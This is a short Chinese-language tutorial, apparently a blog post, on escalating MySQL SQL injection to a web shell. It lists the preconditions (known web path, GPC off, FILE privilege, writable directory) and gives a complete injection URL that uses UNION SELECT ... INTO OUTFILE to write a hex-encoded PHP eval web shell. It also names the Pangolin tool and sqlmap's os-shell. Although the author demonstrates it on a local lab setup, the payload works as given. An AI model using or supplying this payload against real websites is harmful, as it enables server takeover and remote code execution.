【sql注入教程】mysql注入直接getshell
Mysql注入直接getshell的條件相對來說比較苛刻點把
1:要知道網站絕對路徑,可以通過報錯,phpinfo介面,404介面等一些方式知道
2:gpc沒有開啟,開啟了單引號被轉義了,語句就不能正常執行了
3:要有file許可權,預設情況下只有root有
4:對目錄要有寫許可權,一般image之類的存放突破的目錄就有
在實際環境中我只遇過一次,為了做實驗,我把php.ini檔案裡面的gpc改為了Off,重啟了一下apahce服務
首先是常規的注入語句
And 1=1 and 1=2 之類的,在輸入單引號的時候報錯了得到了覺得路徑,寫shell需要用到
然後order by union等
原創文章,希望大家多多支援
然後就是用into outfile寫檔案
http://127.0.0.1/mysqltest/index.php?age=25%20union%20select%201,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27C:/appserv/www/mysqltest/shell1.php%27
0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e是hex編碼的<?php eval($_POST['test'])?>
寫的檔名一定要是不存在的,不然就會不成功
這裡的路徑要用/,如果要用\的話,就要用\\ 轉移成一個\ 如
C:\\appserv\\www\\mysqltest\\shell1.php
也可以直接用穿山甲來寫
或者sqlmap的os-shell
原創文章,希望大家多多支援我